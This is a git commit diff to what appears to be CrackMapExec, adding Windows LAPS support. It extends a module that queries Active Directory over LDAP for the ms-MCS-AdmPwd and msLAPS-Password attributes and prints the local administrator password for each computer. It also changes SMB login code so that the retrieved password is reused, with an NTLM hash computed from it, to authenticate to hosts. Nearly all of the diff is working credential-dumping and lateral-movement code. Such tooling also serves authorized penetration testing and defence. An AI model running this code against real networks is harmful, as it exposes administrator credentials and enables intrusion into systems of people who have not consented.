Add new Windows LAPS

main
mpgn 2023-04-15 09:41:49 -04:00
parent 295a1edd15
commit 95da356e3b
2 changed files with 56 additions and 33 deletions

View File

@ -11,9 +11,7 @@ class CMEModule:
Initial module:
@T3KX: https://github.com/T3KX/Crackmapexec-LAPS
Credit: @n00py1
Reference: https://www.n00py.io/2020/12/dumping-laps-passwords-from-linux/
https://github.com/n00py/LAPSDumper
Credit: @mpgn_x64, @n00py1
'''
name = 'laps'
@ -34,20 +32,30 @@ class CMEModule:
def on_login(self, context, connection):
context.log.info('Getting LAPS Passwords')
if self.computer is not None:
searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.computer + '))'
searchFilter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.computer + '))'
else:
searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*))'
attributes = ['ms-MCS-AdmPwd', 'sAMAccountName']
results = connection.search(searchFilter, attributes, 10000)
searchFilter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))'
attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName']
results = connection.search(searchFilter, attributes, 0)
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
laps_computers = []
for computer in results:
msMCSAdmPwd = ''
sAMAccountName = ''
values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in computer['attributes']}
laps_computers.append((values['samaccountname'], values['ms-mcs-admpwd']))
laps_computers = sorted(laps_computers, key=lambda x: x[0])
for sAMAccountName, msMCSAdmPwd in laps_computers:
context.log.highlight("Computer: {:<20} Password: {}".format(sAMAccountName, msMCSAdmPwd))
if len(results) != 0:
laps_computers = []
for computer in results:
msMCSAdmPwd = ''
sAMAccountName = ''
values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in computer['attributes']}
if "mslaps-encryptedpassword" in values:
context.log.error("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...")
return
elif "mslaps-password" in values:
r = json.loads(values['mslaps-password'])
laps_computers.append((values['samaccountname'], r['n'], r['p']))
elif "ms-mcs-admpwd" in values:
laps_computers.append((values['samaccountname'], '', values['ms-mcs-admpwd']))
else:
context.log.error("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
laps_computers = sorted(laps_computers, key=lambda x: x[0])
for sAMAccountName, user, msMCSAdmPwd in laps_computers:
context.log.highlight("Computer: {:<20} User: {:<15} Password: {}".format(sAMAccountName, user, msMCSAdmPwd))
else:
context.log.error("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !")

View File

@ -347,6 +347,7 @@ class smb(connection):
self.domain = self.hostname
def laps_search(self, username, password, ntlm_hash, domain):
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389"
ldapco = LDAPConnect(self.domain, "389", self.domain)
@ -371,12 +372,12 @@ class smb(connection):
ntlm_hash[0] if ntlm_hash else ''
)
if not connection:
logging.debug('LAPS connection failed with account {}'.format(username))
self.logger.error('LDAP connection failed with account {}'.format(username))
return False
search_filter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name=' + self.hostname + '))'
attributes = ['ms-MCS-AdmPwd', 'samAccountname']
result = connection.search(
search_filter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.hostname + '))'
attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName']
results = connection.search(
searchFilter=search_filter,
attributes=attributes,
sizeLimit=0
@ -384,21 +385,35 @@ class smb(connection):
msMCSAdmPwd = ''
sAMAccountName = ''
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for host in item['attributes']:
if str(host['type']) == "sAMAccountName":
sAMAccountName = str(host['vals'][0])
else:
msMCSAdmPwd = str(host['vals'][0])
logging.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname))
username = ''
self.username = self.args.laps
from impacket.ldap import ldapasn1 as ldapasn1_impacket
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
if len(results) != 0:
for host in results:
values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in host['attributes']}
if "mslaps-encryptedpassword" in values:
self.logger.error("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...")
return False
elif "mslaps-password" in values:
from json import loads
r = loads(values['mslaps-password'])
msMCSAdmPwd = r['p']
username = r['n']
elif "ms-mcs-admpwd" in values:
msMCSAdmPwd = values['ms-mcs-admpwd']
else:
self.logger.error("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
logging.debug("Host: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname))
else:
self.logger.error('msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {}'.format(self.hostname))
return False
self.username = self.args.laps if not username else username
self.password = msMCSAdmPwd
if msMCSAdmPwd == '':
self.logger.error('msMCSAdmPwd is empty or account cannot read LAPS property for {}'.format(self.hostname))
self.logger.error('msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {}'.format(self.hostname))
return False
if ntlm_hash:
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()